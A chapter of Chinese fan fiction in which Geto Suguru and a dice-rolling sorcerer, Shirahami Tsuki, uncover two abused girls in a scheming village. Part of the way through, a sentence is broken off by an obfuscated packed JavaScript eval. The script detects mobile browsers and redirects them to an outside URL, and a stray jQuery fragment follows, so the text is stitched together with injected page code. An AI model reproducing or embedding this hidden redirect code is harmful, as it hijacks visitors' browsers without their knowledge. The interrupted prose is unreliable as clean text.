好轻松。


    结束谈话后的夏油杰和白波月一起回到了阴谷先生提供的房间里,夏油杰躺在这张陌生的床上,只觉得自己现在头脑清晰,以往有些混沌的思维和回忆都像是被擦掉水汽的玻璃。


    清晰,也轻松。


    是月那次掷骰的关系吗?


    虽然有些贪心,但不知道还能不能再来一次,这种仿佛清洗过大脑的感觉,真的很让人上瘾。


    “月,你睡了吗?”


    那边的呼吸声还很杂乱,甚至还透过来一些手机屏幕的光,夏油杰想趁这个机会问一下。


    “还没,怎么了?”白波月从手机里拔出眼睛。


    他的手机重度依赖症从他重新拿到有网络的手机开始,就又复发了。


    睡前,先玩会智能手机。


    “你今天对我做了什么?”夏油杰侧过身,看着睡在他旁边床铺的人,那双眼睛中反射着手机那一小块荧光的屏幕,亮亮的。


    好糟糕的发言,白波月面带嫌弃的挪开手机。


    什么叫对他做了什么啊。


    好像欺负了什么良家少男一样。


    “你就不能换个说法,你这种讲法很gay啊。”白波月飞快的看了眼躺在一旁的漩涡头,又飞快的移回眼睛,专注的看向屏幕。


    gay?


    什么意思?


    最近一直在背英语的夏油杰条件反射般开始思考这个单词他背没背过,凭借发音,他面前从脑海里掏出一个比较像的单词。


    “快乐的?我说的话很好笑吗?”夏油杰疑惑。


    白波月被这种老式谐音冷笑话搞得嘴角一抽,差点笑出声。


    也对,现在这个时代,gay这个单词的意思还没有被广为流传,更多的还是被当成形容词。


    噗。


    不行了。


    好好笑。


    “不是……”他艰难的憋住笑容,没想到夏油杰还有讲冷笑话的天赋。


    “算了。”他放弃解释,不然要解释的东西有点太多了“我今天是对你用了一次我的术式,不知道为什么,但我的术式突然就可以用在你身上了。”


    “不是那种我掷骰子然后攻击你,是我的术式直接作用在你身上。”


    一直努力想开发出自己术式新用途的夏油杰根本无法拒绝这种诱惑。


    “怎么用的!我之前完全没感觉出来!”他直接坐起来,也不困了,眼睛布灵布灵的盯着白波月。


    被漩涡大脸盘突脸的白波月往后缩了缩,他突然想学一下遁地,起码他不想和异头脸贴脸。


    最最起码不能在床上。


    他是直的!


    “咳,你想试试的话也可以,现在吗,其实我也想再试试。”他其实也有点心动的。


    他伸手摸向床头,重新把眼镜带上。


    家人们,重现光明了。


    俩人在两张地铺上对着坐好,白波月掏出自己的骰子就思索起一会儿给夏油杰投个什么比较好。


    斗殴?


    要是真在这儿打起来,要是打坏什么好像有点麻烦。


    那潜行?


    不行,万一真的给夏油杰潜行大成功,那他岂不是这个晚上都要到处找人了。


    那投个什么好呢……


    他眼神在自己的技能表上来回划拉,最终决定了自己的目标。


    侦查!


    是时候让夏油杰也感受一下双眼开挂的爽感了!


    “投一次侦查给你吧。”看夏油杰期待的点点头,白波月拎起两枚骰子“我不清楚你的侦查是多少,所以我就直接给你控个大成功出来,之后你的视野和感知可能会非常敏锐,你做好准备。”


    [侦查检定:1d100]


    [1/59]


    [大成功]


    成功后的夏油杰双眼瞪大,像是头一次看到这个世界的好奇小动物,这里看看,那里瞧瞧的,甚至都要扒在窗户上向外打量。


    这边白波月则是在真的成功后呼吸急促起来,甚至让那边打量周围的夏油杰都投来奇怪的目光。


    真的,成功了。


    白波月脸上的笑容放大,一边想要奋力压住嘴角,一边又忍不住过量的欢喜。


    这说明什么,这说明什么!


    如果他这个技能真的能随便帮别人掷骰子,那他是不是可以直接给敌人来一个闪避大失败,或者在对方轻伤的时候来一个体质大失败!


    只要一想到这招未来的可能性,他就激动的忍不住颤抖。


    他甚至可以提前给队友投几次闪避大成功做保险!


    天啊,他一定要测测这个技能的极限!


    “月,月,你过来。”站在窗边的夏油杰突然挥手喊他。


    白波月赶紧压住笑意,急忙从床上站起,走到他旁边。


    窗外,什么也没有。


    “看什么?”白波月不解。


    “你看不到吗,那个小房子的门口,是不是今天晚上阴谷先生带回家的饭盒,就在那个门口。”


    夏油杰手指笃笃的敲着玻璃,示意白波月朝那边看。


    白波月用力的眯起眼,这才从近乎像素点的画面中找到了那个熟悉的饭盒,那确实是他们今晚看到过的款式,但这个饭盒不应该已经被阴谷先生带回来了吗?


    怎么会在这个房子的门口?


    但俩人却没打算夜探别人家的房子。


    这个任务背后的阴谋还没被他们发现,现在对于任何的可疑线索,他们都应该保守对待。


    二人无声的躺回床上,静静的等待着天光大亮的时刻。


    ————————


    “你是说,这个村子里还有邪祟?”


    第二天中午,俩人刚出门就被曾经看到过的刻薄脸女人拦住了,明明是来求人的,但这女人不知道为什么还一直是一副高高在上的样子。


    “是的。”她摸摸头发。


    她不是一个人来的,在他旁边还有一个体型微胖的男人,那人也是对这个说法肯定的疯狂点头,恨不得他俩现在就直接过去把邪祟解决。


    “先去看看吧。”白波月脸上笑容得体,正好他现在对于这个村子里那两个多出来的失踪人口好奇呢。


    这不,就有人直接把情报送上门了。


    一行四人就这样,一路走到了那个夏油杰发现的阴谷先生放置饭盒的房子前。


    说是房子都是说大了。


    那是个无窗的板子房,门是一扇有些生锈的铁门,没有用来锁门的钥匙口,只用粗糙的铁链挂住,看起来很像是仓库。


    “就在里面了。”


    那女人颐指气使的模样让白波月微笑的脸下带上了一丝不悦,等他看到房间里的人之后,不悦变得更加强烈。


    房子里是两个蜷缩着颤抖小女孩,她俩一个哭着一个笑着,是两个可爱的晴天娃娃头。


    是咒术师啊。


    耳后那女人尖利的声音还在大声的咆哮,男人附和的声音更是吵到不行。


    当着这俩人的面,夏油杰不好发作,只能先运用咒灵试图让两个还在发抖的孩子尽量平静下来。


    但两个孩子只要再看到白波月的那张脸,就会恐惧的再次颤抖。


    无他。


    真的太恐怖了。


    是那种只有凭借本能行事的人类幼崽才会感知到的危险。


    周围的一切都是黑暗的,只有这个人,是红色的。


    枷场美美子瑟缩的躲进姐姐的怀里,那种曾经听过的鬼故事活过来的感觉,比被可怕的大婶责骂更让人害怕。


    夏油杰发觉到了两个孩子望向白波月的恐惧视线,借着回身和村民说话的功夫,轻轻撞了他一下。


    白波月被撞了,也自然的转过身,把笑着的脸面对着那个趾高气昂的女人。


    “我们可是花了钱的,这两个东西还差点害了我的孙子!”


    两个小姑娘曾经不知道为了这句话辩解过多少次,这次终于是看不到白波月恐怖的脸了,勇敢的菜菜子赶紧反驳。


    “才没有,明明是他……”


    话没说完就直接被那女人打断,那女人面容狰狞的破口大骂,吐沫横飞,差点就喷在了白波月身上。


    他微微欠身躲过,脸上的笑容和女人的丑陋面孔对比出惊人的差距。


    “还有你们那个爸妈,也是怪物,人不人鬼不鬼的!”


    “好了,女士。”白波月抬手一只手掌,仅用一个眼神就让那女人还想继续骂的话咽回肚子里。


    “和小孩子吵架并不能展现您的威风,而且我们要工作了,还请你们和我出来,有些事我还想再了解一下。”


    他放心的把孩子们交给了夏油杰,把没骂爽还被怼了的女人带了出


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837013|188940||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来。


    那女人一出来就还想继续开口破骂,好似要把在那家人身上受的冤屈一股脑全发泄出来。


    “女士,我刚刚听到您说,那两个孩子还有对怪物爸妈?有关这点您能和我再讲讲吗?”白波月没给她张嘴的机会。


    他没忘记昨晚夏油杰和他提到的,大蛇原本的祭司死去,这才导致它面对缝合线时没有一丁点战力,只能被拉去污染。


    听这女人的描述,很大可能就是这两个孩子的爸妈。


    那女人一听到这个话题,反而顿住,像是突然想起什么,开始想办法想要搪塞过去。


    白波月看她这样子更加肯定这对夫妻的死亡和这个人,或者这些人,脱不开关系。


    “女士,您知道的。”白波月眯眼微笑,脸上是亲和力十足的温柔,这要是被熟人看到,一准能看出他是在模仿夏油杰。


    “再怎么说,霓虹杀人也是犯法的,如果您没法给出合理解释,我们自然就没法处理。”


    自己也怕犯法的女人这下子着急了,要是不在这两个除灵师在的时候解决这两个小怪物,那就真不知道还能过几天安生日子了。


    “哎呀。”她语气中原本的愤怒一下子消失的一干二净。


    她单手抚着脸,一副忧愁的样子:“还不是因为那谁家那口子结婚的事,就是婚礼的当天……”


    “女士。”


    白波月打断了她的长篇大论,微微放出些咒力威压她。


    “可以说重点吗,我没那么多时间。”


    女人眼睛一瞪就又想破口大骂,但抬眼看到了白波月那张一直在笑的脸,复又感觉脊背发凉,只能悻悻压住怒火。


    “就是,村子里收成一直不好,他们家还老让村里集资去供什么山神。明明一直是他家负责供奉的,但这次却要求大家出钱,荒年哪有钱给他啊,就……”


    “就趁夜说他家孩子顽皮跑进了山里,俩人去找之后……就没再回来了。”


    虽然短短几句,但白波月已经补完了这个村子里刁民们的丑恶嘴脸。


    这里群山峻岭,虽是一片好风光,但山就是山,还是未开发的山。


    而只要在山附近住的人都知道一个道理。


    那就是。


    夜晚,最好不要进山。


    白波月放弃了在脸上学习夏油杰的笑,他重新咧开自己熟悉的弧度,那女人看他变脸,脸上原本尴尬的赔笑抽搐,眼中也带上了一丝惊恐。


    至于旁边那个男的?


    早就跑了。


    “月。”


    夏油杰在这时刚好出来,打断了白波月不知名的读条,女人趁此机会,一边尴尬的点头道别,一边逃似的跑的飞快。


    夏油杰感觉莫名其妙,那女人跑什么?


    “怎么了月,怎么这么生气?”


    “你不生气吗?”白波月没有回头。


    夏油杰扣扣脸,其实他刚刚也是很生气的,但总不能带着气儿去安慰孩子,孩子们都是很敏锐的,一点点不对的情绪都能被她们察觉到,所以等夏油杰安慰好两个孩子后,他的气愤也消散的差不多了。


    “我只想把那两个孩子带走,这里不适合她们。”他叹气。


    “反正悟已经养两个了,我在加两个,应该不过分吧。”


    他试着岔开话题,以期望白波月的怒火能得到暂时的消解。


    “你说得对。”白波月答应了一句。


    “但我还是很生气,怎么办啊,杰。”


    这里有个der的阴谋啊,要真有的话,那也是这里让人作呕的人性。


    人性,白波月心中的怒火一下被这两个字浇熄一半,最丑恶的人性,不就是最好的明谋吗?


    别忘了,这个局一开始针对的就不是他。


    被单独下发任务的夏油杰,他脆弱的意志,低到危险值以下的san,还有这最后的一整村的‘恶人’。


    全部,都能挑衅到夏油杰的底线。


    但可惜呢,现在要气疯的人,是他呢~


    “我能像以前那样,把他们都杀了吗?”


    他转过头,那双毫无笑意还瞪的非常的大眼睛转向了夏油杰的方向,嘴角的弧度被固定在脸上,像一张假脸。


    这回夏油杰看清了。


    哪里是消解怒火了啊。


    这人,根本就是被气疯了啊!